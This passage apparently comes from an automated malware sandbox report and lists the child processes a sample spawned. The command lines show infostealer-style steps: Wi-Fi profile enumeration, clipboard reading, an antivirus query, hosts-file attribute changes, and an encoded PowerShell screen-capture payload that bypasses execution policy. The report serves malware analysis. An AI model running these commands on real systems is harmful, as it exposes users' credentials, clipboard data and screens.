Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	13:07:14
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	13:07:14
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	13:07:14
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	13:07:14
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	13:07:14
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "systeminfo"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	13:07:14
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	13:07:14
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	13:07:14
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	13:07:14
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	13:07:15
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	13:07:15
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	13:07:15
Start date:	20/06/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Imagebase:	0x7ff7fff10000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	13:07:15
Start date:	20/06/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff6c3270000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	13:07:15
Start date:	20/06/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Imagebase:	0x7ff710990000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	13:07:15
Start date:	20/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-Clipboard
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	13:07:15
Start date:	20/06/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff7dd5a0000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	13:07:15
Start date:	20/06/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff7d7610000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	13:07:16
Start date:	20/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	13:07:16
Start date:	20/06/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff60c520000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	13:07:16
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8044, Parent PID: 8008

General

Target ID:	60
Start time:	13:07:16
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	13:07:17
Start date:	20/06/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff60c520000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	13:07:17
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	13:07:17
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	13:07:17
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4204, Parent PID: 1888

General

Target ID:	66
Start time:	13:07:17
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	13:07:17
Start date:	20/06/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib -r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0x7ff64dca0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	13:07:17
Start date:	20/06/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff60c520000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	13:07:17
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	13:07:17
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	13:07:17
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7916, Parent PID: 180

General

Target ID:	72
Start time:	13:07:17
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	13:07:18
Start date:	20/06/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0x7ff64dca0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	13:07:18
Start date:	20/06/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff60c520000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	13:07:18
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7664, Parent PID: 7796

General

Target ID:	76
Start time:	13:07:18
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	13:07:18
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7696, Parent PID: 3528

